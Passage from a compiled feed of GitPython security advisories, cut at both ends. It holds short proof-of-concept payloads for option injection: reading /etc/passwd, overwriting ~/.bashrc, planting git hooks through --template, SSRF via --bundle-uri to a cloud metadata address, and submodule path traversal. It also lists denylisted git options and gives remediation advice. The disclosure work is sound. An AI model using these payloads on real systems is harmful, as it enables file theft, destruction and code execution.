arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ##### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ##### Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) | | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | | `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found | | `Repo.merge_base()` | `merge-base` | no path-taking option found | | `Repo._get_untracked_files()` | `status` | no path-taking option found | | `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 | ##### Suggested remediation **Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = ["--prefix"]` (consider `--temp`) and `unsafe_git_tag_options = ["--file", "-F"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`. **Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time. ##### Disclosure Reported privately via GitHub private vulnerability reporting. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f) - [https://github.com/gitpython-developers/GitPython/pull/2193](https://github.com/gitpython-developers/GitPython/pull/2193) - [https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c](https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3f7w-8rr8-f37f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive() [CVE-2026-73619](https://nvd.nist.gov/vuln/detail/CVE-2026-73619) / [GHSA-539m-9xh6-q6rr](https://github.com/advisories/GHSA-539m-9xh6-q6rr) / PYSEC-2026-3948 <details> <summary>More information</summary> #### Details **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ##### Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python ##### git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ##### Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) ##### ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ##### Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ##### `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ##### Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ##### Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable. ##### Disclosure Reported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready. --- ##### Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately While auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place. `Repo._clone()` treats a URL's protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input: ```python clone_url = Git.polish_url(url, expand_vars=False) if not allow_unsafe_protocols: Git.check_unsafe_protocols(clone_url) # the positional url only ``` `git clone` accepts a **second** URL via `--bundle-uri=<uri>`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host: ```python Repo.clone_from(trusted_url, dest, multi_options=["--bundle-uri=http://169.254.169.254/latest/meta-data/"]) ##### no UnsafeProtocolError, no UnsafeOptionError ``` Confirmed against a local listener — the request leaves the process: ``` 127.0.0.1 - - [24/Jul/2026 23:07:41] "GET /internal-metadata HTTP/1.1" 404 - ``` `file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list. Why it belongs with this report: both are the *membership* question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr) - [https://github.com/gitpython-developers/GitPython/pull/2193](https://github.com/gitpython-developers/GitPython/pull/2193) - [https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca](https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-539m-9xh6-q6rr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73619](https://nvd.nist.gov/vuln/detail/CVE-2026-73619) / [GHSA-539m-9xh6-q6rr](https://github.com/advisories/GHSA-539m-9xh6-q6rr) / PYSEC-2026-3948 <details> <summary>More information</summary> #### Details GitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-archive) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3948) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-73620](https://nvd.nist.gov/vuln/detail/CVE-2026-73620) / [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) / PYSEC-2026-3949 <details> <summary>More information</summary> #### Details GitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band. #### Severity - CVSS Score: 7.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3949) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite [CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) / [GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) / PYSEC-2026-3838 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ##### Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ##### Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ##### Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") ##### target overwritten with a valid git-index blob (DIRC...) ``` ##### Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ##### Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ##### Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32](https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4gmw-gg2m-w46p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks [CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) / [GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) / PYSEC-2026-3840 <details> <summary>More information</summary> #### Details ##### Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ##### Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ##### Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ##### Proof of Concept ```python ##### attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") ##### next commit runs /evil/hooks/post-commit -> ACE ``` ##### Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ##### Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ##### Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66](https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9rj7-rf2p-w77r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout() [CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) / [GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) / PYSEC-2026-3841 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ##### Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ##### Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ##### Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ##### Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c](https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hh9p-6wh2-4mfc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython [CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) / [GHSA-hmq2-w58f-27jc](https://github.com/advisories/GHSA-hmq2-w58f-27jc) / PYSEC-2026-3784 <details> <summary>More information</summary> #### Details ##### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ##### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ##### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 